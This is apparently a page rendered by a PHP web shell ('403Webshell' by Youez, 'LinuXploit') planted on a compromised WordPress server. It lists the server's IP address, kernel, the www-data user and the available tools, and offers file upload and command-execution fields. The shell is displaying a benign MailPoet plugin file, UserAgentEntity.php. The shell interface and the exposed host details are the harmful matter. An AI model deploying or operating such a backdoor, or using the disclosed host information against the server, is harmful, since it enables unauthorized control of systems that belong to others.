403Webshell
Server IP : 69.164.203.165  /  Your IP : 216.73.216.219
Web Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/matlock/wp-content/plugins/mailpoet/lib/Entities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/matlock/wp-content/plugins/mailpoet/lib/Entities/UserAgentEntity.php
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Entities;

if (!defined('ABSPATH')) exit;


use MailPoet\Doctrine\EntityTraits\AutoincrementedIdTrait;
use MailPoet\Doctrine\EntityTraits\CreatedAtTrait;
use MailPoet\Doctrine\EntityTraits\UpdatedAtTrait;
use MailPoetVendor\Doctrine\ORM\Mapping as ORM;

/**
 * @ORM\Entity()
 * @ORM\Table(name="user_agents")
 */
class UserAgentEntity {
  use AutoincrementedIdTrait;
  use CreatedAtTrait;
  use UpdatedAtTrait;

  public const USER_AGENT_TYPE_HUMAN = 0;
  public const USER_AGENT_TYPE_MACHINE = 1;

  public const MACHINE_USER_AGENTS = [
    'Mozilla/5.0',
  ];

  /**
   * @ORM\Column(type="string")
   * @var string
   */
  private $hash;

  /**
   * @ORM\Column(type="string")
   * @var string
   */
  private $userAgent;

  public function __construct(
    string $userAgent
  ) {
    $this->setUserAgent($userAgent);
  }

  public function getUserAgent(): string {
    return $this->userAgent;
  }

  public function setUserAgent(string $userAgent): void {
    $this->userAgent = $userAgent;
    $this->hash = (string)crc32($userAgent);
  }

  public function getHash(): string {
    return $this->hash;
  }

  public function getUserAgentType(): int {
    if (in_array($this->getUserAgent(), self::MACHINE_USER_AGENTS, true)) {
      return self::USER_AGENT_TYPE_MACHINE;
    }
    return self::USER_AGENT_TYPE_HUMAN;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit